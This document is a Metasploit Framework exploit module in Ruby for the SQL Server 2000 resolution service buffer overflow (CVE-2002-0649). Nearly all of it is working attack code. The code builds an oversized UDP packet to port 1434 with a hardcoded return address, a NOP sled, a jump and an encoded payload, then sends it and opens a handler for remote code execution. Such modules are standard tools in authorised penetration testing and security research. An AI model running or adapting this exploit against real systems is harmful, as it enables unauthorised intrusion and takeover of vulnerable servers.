Microsoft SQL Server Resolution Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::MSSQL  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft SQL Server Resolution Overflow',  
'Description' => %q{  
This is an exploit for the SQL Server 2000 resolution  
service buffer overflow. This overflow is triggered by  
sending a udp packet to port 1434 which starts with 0x04 and  
is followed by long string terminating with a colon and a  
number. This module should work against any vulnerable SQL  
Server 2000 or MSDE install (pre-SP3).  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2002-0649'],  
[ 'OSVDB', '4578'],  
[ 'BID', '5310'],  
[ 'MSB', 'MS02-039'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",  
'StackAdjustment' => -3500,  
},  
'Targets' =>   
[  
[   
'MSSQL 2000 / MSDE <= SP2',  
{  
'Platform' => 'win',  
'Ret' => 0x42b48774,  
},  
],  
],  
'Platform' => 'win',  
'DisclosureDate' => 'Jul 24 2002',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(1434)  
], self.class)  
end  
  
  
def check  
info = mssql_ping  
if (info['ServerName'])  
print_status("SQL Server Information:")  
info.each_pair { |k,v|  
print_status(" #{k + (" " * (15-k.length))} = #{v}")  
}  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
connect_udp  
print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))  
print_status("Execute 'net start sqlserveragent' once access is obtained");  
  
# \x68:888 => push dword 0x3838383a  
buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"  
  
# Return to the stack pointer  
buf[ 97, 4] = [target.ret].pack('V')  
  
# Which lands right here  
buf[101, 6] = make_nops(6)  
  
# Jumps 8 bytes ahead  
buf[107, 2] = "\xeb\x08"  
  
# Write to thread storage space to avoid a crash  
buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')  
  
# And finally into the payload  
buf[117,payload.encoded.length] = payload.encoded  
  
udp_sock.put(buf)  
  
disconnect_udp  
handler  
end  
  
end  
`